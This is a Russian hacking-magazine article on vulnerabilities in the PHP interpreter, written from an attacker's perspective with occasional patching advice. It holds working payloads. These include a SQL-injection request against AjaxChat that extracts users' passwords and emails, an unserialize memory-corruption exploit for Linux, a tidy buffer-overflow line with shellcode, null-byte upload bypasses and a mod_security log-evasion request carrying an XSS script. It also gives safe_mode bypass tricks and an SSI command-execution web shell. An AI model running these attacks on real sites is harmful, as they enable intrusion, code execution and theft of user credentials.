Роковые ошибки PHPЕвгений «gemaglabin» Минаев Хакер, номер #106, стр. 062 Небезопасное веб-программированиеСтановится все тяжелее и тяжелее находить уязвимости типа SQL-injection, PHP-include или XSS-attack. Разработчики различных систем контроля контента, форумов, шопов и т.п. стали на порядок серьезнее относиться к безопасности своих скриптов. Однако хакеры - люди неглупые, поэтому стали искать баги не в огромной куче генерируемого web-программистами кода, а в интерпретаторе, на котором этот код выполняется. И, надо признать, получилось у них это неплохо. За последние несколько лет найдено уже около 50 ошибок в самом PHP. Как в стандартных функциях обработки, так и в дополнительных расширениях. В это статье я покажу лишь пару самых основных уязвимостей, чтобы продемонстрировать общий принцип их эксплуатации. Register GlobalsОдной из самых опасных уязвимостей в веб-приложениях по-прежнему остается перезапись глобальных переменных, которая может привести к разным последствиям - начиная от раскрытия пути и заканчивая удаленным выполнением кода. Однако еще с четвертой ветки PHP появилась возможность отключить регистрацию глобальных переменных путем извлечения данных из GET-, POST-, COOKIE-массивов. Рассмотрим классический пример global overwrite, создав простой PHP-скрипт со всего лишь одной строчкой кода: echo $GLOBALS['example']; Для присвоения данных переменной достаточно обратиться к скрипту с параметром example=antichat, в результате мы увидим высвеченное значение antichat. Некорректно обрабатывать обнуление переменных только из GET/POST-массивов. Передав дополнительный заголовок браузера, мы получим тот же самый результат: Cookie: example=antichat
File Global OverwriteНедавно лучшие умы из Hardened-PHP опубликовали описание нового способа перезаписи значения переменной с использованием загрузки файла. Метод основывается на том, что потому что _FILES является частью массива _POST. Для начала напишем скрипт отправки и приема загруженных файлов. <form method="post" action="example.PHP" encode="multipart/form-data"> <input type="file" name="example" /> <input type="submit" name="submit" /> </form> <?PHP if(isset($_FILES["example"])) { copy($_FILES["filename"]["tmp_name"],'/'); } echo $GLOBALS['example']; ?> Пробуем залить файл с именем antichat.txt и видим в качестве результата не только залитый файл, но и присвоенное переменной example значение antichat. Удивлен? Но это еще цветочки!
Globals OverwriteПоскольку большинство систем работает только с включенным режимом register_globals, а многие веб-хостинги с целью обеспечения безопасности своих клиентов отключают эту переменную, программисты придумали пару методов для помещения переменных в область глобального видения, которые в реализации гораздо легче, чем изготовление патчей. Одной из таких функций является import_request_variables. В качестве параметра выступает строка, определяющая порядок помещения переменных в superglobal из массива _REQUEST. Небезопасное использование функции позволяет перезаписать произвольные переменные, пришедшие с клиентской стороны. Стоит использовать import_request_variables вместе со вторым параметром - префиксом будущих функций. Несмотря на то что баг обнаружен в 2005 году, ему не было присвоено критическое значение. import_request_variables("GPC"); Обратившись к скрипту с параметром _SERVER[REMOTE_ADDR]=antichat, мы перезапишем ключ массива, содержащий в себе адрес посетителя, а так как многие системы управления контентом не фильтруют этот, на первый взгляд, безопасный параметр, рождается куча способов атаки: от снятия блокировки на сайте до выполнения произвольного SQL-кода. Вторая не менее опасная и распространенная функция для эмуляции register_globals - extract. Чтобы избежать перезаписи уже существующих переменных, рекомендуется использовать флаг EXTR_SKIP, который при попытке поместить переменную в глобальное окружение проверит ключ на существование и лишь в случае отсутствия в адресном пространстве такого ключа создаст его. extract($_REQUEST);
UNSET WHACKINGОбнаруженная в конце 2006 года и уже успевшая стать популярной уязвимость в вызываемой функции unset, изначально именуемой Zend_Hash_Del_Key_Or_Index, достойна отдельного внимания. Ровно 6 месяцев ушло у авторов PHP на устранение этой критический уязвимости. Для того чтобы лучше уяснить суть бага, надо понять основы хранения данных в PHP. Zend Engine HashTables является контейнером для информации, поступившей со стороны клиента, такой как суперглобальные массивы COOKIE, POST, GET. HashTable хранит ключи - указатели на содержимое переменных, и, как оказалось, несет в себе критический баг: подставив цифровое значение переменной, можно перезаписать буквенно-цифровое представление. Такие уязвимости могут быть проэксплуатированы только в случае включенного потенциально опасного параметра register_globals в настройках PHP. Хэш-таблицы Zend Engine знают два типа индексов в PHP4: цифровые и буквенно-цифровые. Если индекс состоит только из цифр, он автоматически обрабатывается как цифровой. В PHP5 это не так, поскольку PHP5 знает о таблицах имен и о простых хэш-таблицах. В таблицах имен цифровые индексы все еще обрабатываются автоматически. Брешь заключается в некорректном условии проверки: если мы пытаемся вызвать unset для буквенно-цифровой переменной и в списке переменных есть цифровой хэш-ключ с идентичным значением, то PHP удалит ключ, но не саму переменную. То есть после вызова unset мы можем использовать значение в дальнейшем. Для нас является положительным тот факт, что unset чаще всего используется в начале кода, для того чтобы принудительно запретить использование опасных ключей. Указать ключ переменной можно не только при включенном superglobals mode, но и упомянув значение в массиве _FILES, о чем я писал выше. Так был написан эксплойт для форумного скрипта vBulletin и популярного блог-движка WordPress. Рассмотрим реализацию на примере AjaxChat, последнюю версию которого можно взять с ajchat.sourceforge.net. Авторы этого чата позволяют создавать виртуальные комнаты, состоящие только из букв, что явно видно в этом участке кода: if (isset($_GET["s"])) { $_GET["s"] = strtoupper($_GET["s"]); if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z') {} else unset($_GET['s']); } Если переменная «s» из массива _GET прошла фильтрацию, то в системе выполнится следующий запрос: SELECT `roomname`, `updated` FROM `rooms` WHERE `roomname` LIKE '%$s%' AND`updated` > 0 ORDER BY `roomname` ASC ; С первого взгляда кажется, что код правильный, но на самом деле нужно лишь переопределить переменную "s", идущую в GET-запросе, чтобы выполнить произвольный SQL-запрос. Высчитаем hash_del_key для обоих версий PHP. PHP5 hash: 5863704, PHP4 hash: 5861526 Для того чтобы хэш переменной засчитался, сначала надо присвоить саму переменную и только после этого делать подстановку наших ключей. Наш запрос для извлечения юзеров принимает следующий вид: directory.PHP?s=' and 1=2 union select concat_ws(char(59), id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1 Прерывая одинарной кавычкой оригинальный запрос, мы вставляем выборку полей с номером, именем, паролем и почтовым адресом юзера, объединенных с помощью функции concat_ws, в результате чего получаем нужные данные. Такой же опыт можно провести, совместив аплоад файла и unset bug. Модифицируем код, где 1322199023 и 1154731405 - хэш-ключи переменной example сразу для двух версий PHP: четвертой и пятой. <form method="post" action="example.PHP" encode="multipart/form-data"> <input type="file" name="example" /> <input type="submit" name="submit" /> <input type="file" name="1322199023" /> <input type="file" name="1154731405" /> </form> <?PHP if(isset($_FILES["example"])) { unset($_FILES["example"); } echo $GLOBALS['example']; ?> После загрузки файла antichat.txt мы все равно увидим значение переменной example.
UNDER WHAT? UNDER SERIALIZEPHP-функция un/serialize используется для помещения данных в строку, представляющую собой сериализованный массив. Часто его используют для упрощения структуры хранения cookie-данных юзера. В различных версиях интерпретатора существовало не менее пяти багов в этой функции: от банального переполнения буфера до получения нужной информации. На основе этой бреши для PHPbb2 был написан эксплойт, представляющий собой очень длинную строку, посылаемую разбитой на несколько частей в заголовке cookie, предварительно закодированную в URL-представлении. Большое количество вложенных сериализированных массивов может запросто подвесить PHP-интерпретатор. Впоследствии это переросло в integer overflow в вызове функции ecalloc. В таком случае памяти выделяется куда больше, чем было выделено под операцию, обратную сериализации, что приводит к исполнению кода, после того как переменная будет удалена из Zend HashTable. $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"'; unserialize($str); Эксплойт для Linux, где адрес 0x08064058 является свободным для PHP, выглядит так: $hashtable = str_repeat("A", 39); $hashtable[5*4+0]=chr(0x58); $hashtable[5*4+1]=chr(0x40); $hashtable[5*4+2]=chr(0x06); $hashtable[5*4+3]=chr(0x08); $hashtable[8*4+0]=chr(0x66); $hashtable[8*4+1]=chr(0x77); $hashtable[8*4+2]=chr(0x88); $hashtable[8*4+3]=chr(0x99); $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}'; for ($i=0; $i<65535; $i++) { $str.= 'i:0;R:2;'; } $str.= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;'; unserialize($str); Полученный результат нужно использовать как аргумент при использовании unserialize.
SPECIAL CHARSИспользование специальных непечатаемых символов в качестве аргументов, передаваемых функции, часто приводит к очень «радостным» результатам. Например, прежде чем поместить IP-адрес в базу данных, его часто проверяют функцией ip2long, которая, в случае если адрес является неправильно сформированным, вернет -1. ip2long ('123.231.222.111"'); -- -1 Однако, немного помучив функцию, мы можем увидеть, что строка, содержащая в себе символы, чьи коды равны 0,9,10,11,12,13 либо 32, вернет неотрицательный результат. for ($i=0; $i<=255; $i++) { echo $i.":".ip2long("1.1.1.1".chr($i)."'or'a'='a'/*")."\r\n"; } На примере minibb взлом будет выглядеть так: X-FORWARDED-FOR: 1.1.1.1[CHR(0)]'union select 1 Хотя использование нашего SQL-запроса является неудобным (потребуются специальные программы, чтобы отправить заголовок), мы находимся в выигрыше: magic_quotes_gpc не распространяется на этот тип данных. К сожалению, в minibb провести атаку не получится: на строку выделяется всего 16 символов плюс один наш символ. Функция из пакета tidy tidy_parse_string, как и обратная ей - tidy_repair_string, при локальном использовании позволяет переполнить буфер с последующим выполнением шелл-кода. Этот набор функций часто используется в wiki-скриптах. tidy_parse_string(1,str_repeat("A",2036)."\x8B\x51\x81\x7C".str_repeat("\x90",12).$shellcode,1); Очень серьезной является ошибка в функциях copy и move_uploaded_file. Существуют символы, которые обрубают строку-аргумент до вхождения этого символа. Обычно это null-byte, а в некоторых *nix-системах и слеши. $filename = trim($fileinfo['name'], "\x00..\x1F"); Напишем скрипт, ничуть не отличающийся от множества используемых для аплоада файла с проверкой расширения. <?PHP $filename = $_FILES['userfile']['name']; $allowed = array ('gif','png','jpg'); $tmpname = explode('.',$filename); $extension = $tmpname[count($tmpname)-1]; $allowed = in_array($extension,$allowed) ? true : false ; if ($allowed) { move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile); echo 'uploaded!'; } else { echo 'aaah noooo!'; } ?> <form enctype="multipart/form-data" action="test.PHP" method="post"> Отправить этот файл: <input name="userfile" type="file" /> <input type="submit" value="Send File" /> </form> На первый взгляд, вполне очевидно, что файл с именем file.jpg.PHP не пройдет проверку, однако попробуем вставить null-byte в имя файла, и в итоге получится что-то вроде my_data.PHP%00.jpg. Если повезет, то наш файл зальется с именем my_data.PHP. Такой же баг присутствует и в функции copy(). Mod_secuirity, часто устанавливаемый вместе с Апачем, тоже имеет уязвимости. Внедрив null-byte в POST-заголовок, мы обманем фильтр и не оставим в логах никаких записей, поскольку IDS посчитает %00 концом строки: curl http://localhost/test.PHP --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script> Для облегчения труда был написан комплекс скриптов для тестирования функций на предмет переполнения буфера в передаваемых аргументах. Одна часть скрипта получает список всевозможных функций и запускает второй скрипт, функцию по имени аргумента и логирующий каждую ошибку. BASE DIR && SAFE MODEЗащищенный режим в PHP - это попытка решить проблему безопасности на совместно используемых серверах. Несмотря на то что концептуально неверно решать эту проблему на уровне PHP, но поскольку альтернативы уровня веб-сервера или операционной системы на сегодняшний день отсутствуют, многие пользователи, особенно провайдеры, используют именно защищенный режим. Для управления safe_mode в файле настроек PHP имеется несколько директив, определяющих поведение безопасного режима:
В случае открытия файла, права на который не совпадают с правами юзера, будет выдана ошибка: error -> Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd owned by uid 0 in /docroot/script.PHP on line 2 Тот же самый эффект мы наблюдаем и с base_dir: error -> Warning: open_basedir restriction in effect. File is in wrong directory in /docroot/script.PHP on line 2 К сожалению, а может, и к счастью, safe mode уже научились обходить, причем способом куча, и редко встретишь сервер, где не работает ни один. Например, одним из последних способов обмануть base_dir является принудительное выставление session.save_path в директорию, доступную на чтение. ini_set("session.save_path", "/sessions/user2/"); putenv("TMPDIR=/sessions/user2/"); ini_set("session.save_path", ""); @session_start(); Использование префиксов «compress.bzip2://» и «zip://» не учитывается в safe mode, что позволяет читать файлы вне разрешенных директорий. Логично, что действие safe mode распространяется только на PHP-скрипты, и мы можем заюзать Perl, Python или SSI (Server Side Includes). Для того чтобы последний метод заработал, надо выставить в Апаче некоторые параметры запуска для файла .htaccess: AddType text/html.shtml AddHandler server-parsed.shtml Options +Includes И для того чтобы удобнее было использовать все сделанное, напишем своеобразный шелл на JavaScript: function execute() { var cmd = document.exec.cmd.value; document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>'); } Не стоит отказываться от использования safe mode, достаточно следить за обновлениями PHP и своевременно ставить нужные патчи. Другим действенным методом является внедрение сторонних разработок, таких как suPHP, разграничивающих использование скриптов в зависимости от выставленных прав, либо установка PHPsafemode.patch, принцип работы которого мало отличается от предыдущего варианта. EOFКак видно, существует множество функций и плагинов с уязвимостями, которым авторы веб-скриптов не придают значения либо просто не догадываются о возможности эксплуатации брешей в их скриптах, да и разработчики PHP не с особой охотой выпускают патчи для своего продукта. Наше дело облегчает Google Code Search, позволяющий искать вызываемые функций по базе, содержащей в себе разнообразные пакеты разработки. WWW
DVDНа нашем DVD ты найдешь Zend Hash Key Calculator и Hardening PHP Patch с исходниками. |